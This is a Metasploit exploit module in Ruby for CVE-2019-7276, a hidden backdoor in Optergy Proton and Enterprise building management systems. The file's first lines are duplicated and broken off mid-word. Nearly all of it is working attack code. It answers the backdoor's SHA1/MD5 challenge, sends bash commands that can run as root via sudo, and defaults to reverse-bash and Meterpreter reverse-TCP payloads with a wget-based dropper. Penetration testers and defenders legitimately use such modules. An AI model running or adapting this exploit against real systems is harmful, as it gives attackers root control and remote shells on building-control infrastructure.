# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',
'Description' => %q{
This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise
Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.
Attackers can exploit this issue by directly navigating to an undocumented backdoor script
called Console.jsp in the tools directory and gain full system access.
Successful exploitation results in `root` command execution using `sudo` as user `optergy`.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor
'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery
],
'References' => [
[ 'CVE', '2019-7276'],
[ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ],
[ 'URL', 'https://optergy.com/products/proton/' ],
[ 'URL', 'https://optergy.com/products/optergy-enterprise/' ],
[ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ],
[ 'EDB', '47641'],
[ 'PACKETSTORM', '155258']
],
'DisclosureDate' => '2019-11-05',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => { 'BadChars' => "x20" },
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ])
]
)
end
def execute_command(cmd, _opts = {})
# Step 1: get the challenge and compute the response answer for the backdoor execution
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')
})
if res.nil? || (res.code != 200)
return nil
else
# Get and create a challenge response
res_json = res.get_json_document
return nil if res_json.nil? || res_json.blank?
# Get the challenge
challenge = res_json['response']['message']
# Make SHA1 hash from received challenge
h1 = Digest::SHA1.hexdigest challenge
# Make MD5 hash from SHA1 hash
h2 = Digest::MD5.hexdigest h1
# Combine MD5 hash and SHA1 hash as answer (response) to the challenge
answer = h1 + h2
end
# Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1.
if target['Type'] == :linux_dropper
cmd = cmd.gsub(' ') { '${IFS}' }
end
if datastore['SUDO']
payload = "sudo bash -c #{cmd}"
else
payload = "bash -c #{cmd}"
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'command' => payload,
'challenge' => challenge,
'answer' => answer
}
})
if res.nil? || (res.code != 200)
return nil
else
# get result and return the command response
res_json = res.get_json_document
return nil if res_json.nil? || res_json.blank?
res_cmd_output = res_json['response']['message']
return res_cmd_output
end
end
# Checking if the target is vulnerable by executing the whoami command via the backdoor
def check
res = execute_command('whoami')
return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy')
Exploit::CheckCode::Vulnerable
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
res = execute_command(payload.encoded)
fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil?
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager
end
end
end